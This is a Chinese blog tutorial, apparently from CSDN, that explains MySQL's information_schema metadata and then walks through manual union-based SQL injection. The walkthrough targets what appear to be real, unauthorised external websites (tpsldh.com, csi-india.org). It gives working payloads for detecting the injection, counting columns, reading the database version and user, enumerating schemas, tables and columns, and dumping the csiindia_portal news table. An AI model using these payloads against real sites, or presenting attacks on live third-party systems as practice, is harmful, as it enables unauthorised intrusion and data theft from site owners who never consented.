SQL注入:MySQL元数据库,外网实战手工SQL注入

MySQL元数据库

MySQL的元数据库是一组特殊的数据库,用于存储MySQL服务器的元数据信息,在sql注入中较为常用为以下两种元数据库:

  1. information_schema:这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表名、列的数据类型或访问权限等。

  2. mysql:这是MySQL的核心数据库,存储了用户权限设置、数据库的用户、关键字等。

sql注入中元数据库的应用

information_schema元数据库中需要了解 tables 数据表 和 clomuns 数据表,以下是两种数据表的应用

tables数据表:存放所有数据库及数据表信息

主要字段:

1.table_schema: 存放所有数据表对应的数据库名。每一条数据表名信息,对应一条table_schema字段的值,其值为数据表名所在的数据库名。

2.table_name:包含所有数据表信息,需引用table_schema字段信息进行查询

查询指定数据库中的所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='库名';
查pikachu询数据库中所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='pikachu';

在information_schema数据库中的tables表,查询满足条件TABLE_SCHEMA字段值为pikachu,的TABLE_NAME字段的值

columns数据表:存放数据库,数据表及其字段信息。

主要字段:

1.TABLE_NAME:存放数据表名,数据表每一条字段信息,对应一条TABLE_NAME的值,其值为字段所在的数据表名

2.COLUMN_NAME:存放所有字段名,需引用table_name字段值进行查询

**3.TABLE_SCHEMA:**存放所有字段对应的数据库名。每一条字段信息,对应一条table_schema字段的值,其值为字段所在的数据库名。与TABLE_NAME联用进行精确查询

查询指定表中的所有字段名
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='表名' AND TABLE_SCHEMA='库名';
查询pikachu数据库下users表中的所有字段
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='users' AND TABLE_SCHEMA='pikachu';

其余元数据查询

查询数据库数量及名称

select schema_name from information_schema.schemata

手工SQL注入

url:https://tpsldh.com/about.php?id=1

1.判断是否存在漏洞

tpsldh.com/about.php?id=1%27

页面:回显异常,sql报错回显,大概率存在注入漏洞

2.拼接布尔语句判断注入点类型

数值型: https://tpsldh.com/about.php?id=1 and 1=2

页面:无报错,回显正常

字符型:

<1> ?id=1' and 1=2 --+【--+为注释符,注释后续sql语句】

页面:回显异常

<2> ?id=1' and 1=1 --+【--+为注释符,注释后续sql语句】

页面:回显正常

拼接字符型sql语句,服务器正常执行,判断注入点为字符型

3.判断字符型参数闭合类型

<1> 单引号 ?id=1'

页面:回显异常

<2>双引号 ?id=1"

页面:回显正常

拼接单引号会触发sql语法报错。拼接双引号sql语句查询时,忽略多余字符,正常回显。判断闭合类型为单引号

4.拼接order by 对查询结果进行排序,判断页面引用数据库字段数

如果ORDER BY指定的列名在查询的表中不存在,将会报错。列名可以数字代替

?id=1' order by 1 --+

?id=1' order by 2 --+

................

?id=1' order by 6 --+

页面:正常回显

?id=1' order by 7 --+

页面:回显异常

逻辑:将查询结果指定第七列进行排序时,触发sql语法报错。指定第六列排序,页面回显正常。可以得出该页面引用数据库所在数据表的字段数为6位

5.更改原参数,使原查询失效并拼接union联合查询,判断回显点

UNION 操作符用于合并两个或多个 SELECT 语句的结果集,生成单个结果集。

?id=-1'union select 1,2,3,4,5,6 --+

页面:出现拼接回显数字

逻辑:所有union联合查询多个结果集时,由于原参数失效,使页面回显拼接的结果集,从而判断回显点

出现意外,不适合新手实操,更换网站

https://www.csi-india.org/news/index.php?id=18

注入点类型:数值

sql报错回显:无

sql语句执行:顺利

字段数:8

回显点:3,4,5,6

6.拼接系统函数,获取数据库信息

SQL注入常用系统函数及变量-CSDN博客

载荷:?id=-18 union select 1,2,version(),@@datadir,database(),user(),7,8 --+

页面:回显点回显数据库参数

逻辑:数据库执行函数并返回结果拼接入回显点

7.元数据库查询数据库数量及信息

载荷:?id=-18 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata --+

页面:回显当前用户权限可查询的数据库信息

逻辑:元数据库查询信息并拼接入结果集中返回。由于·union 会去除重复的行,而查询的结果可能包含多个行,为防止数据丢失,使用group_concat函数,将多个行的值拼接为一个字符串,并使用逗号分割。

8.查询当前数据库下有哪些表

载荷:?id=-18 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8 from information_schema.tables where TABLE_SCHEMA=database() --+

页面:回显当前数据库下的数据表

逻辑:查询元数据库信息,语句意义见上文。database()返回当前数据库名,用作查询条件

9.查询数据表下有哪些字段

载荷:?id=-18 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name='news' --+

页面:回显字段名

逻辑:查询元数据库信息,语句意义见上文,指定查询数据表news内字段名

10.查询数据

<1>查询多个数据

载荷:

?id=-18 union select 1,2,(select concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

逻辑:使用select子句查询所有数据,可拼接其他字符或换行符,通过limit控制回显条目。group_concat 在 MySQL 中有一个默认的长度限制(通常为 1024 字节)。如果合并的结果超出这个长度,返回的字符串将被截断。

<2>查询单个字段所有数据

载荷:?id=-18 union select 1,2,(select group_concat(news_title) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

相关推荐
打鱼又晒网9 分钟前
【MySQL】数据库精细化讲解:内置函数知识穿透与深度学习解析
数据库·mysql
大白要努力!14 分钟前
android 使用SQLiteOpenHelper 如何优化数据库的性能
android·数据库·oracle
tatasix1 小时前
MySQL UPDATE语句执行链路解析
数据库·mysql
南城花随雪。1 小时前
硬盘(HDD)与固态硬盘(SSD)详细解读
数据库
儿时可乖了1 小时前
使用 Java 操作 SQLite 数据库
java·数据库·sqlite
懒是一种态度1 小时前
Golang 调用 mongodb 的函数
数据库·mongodb·golang
天海华兮1 小时前
mysql 去重 补全 取出重复 变量 函数 和存储过程
数据库·mysql
gma9992 小时前
Etcd 框架
数据库·etcd
爱吃青椒不爱吃西红柿‍️2 小时前
华为ASP与CSP是什么?
服务器·前端·数据库
Yz98763 小时前
hive的存储格式
大数据·数据库·数据仓库·hive·hadoop·数据库开发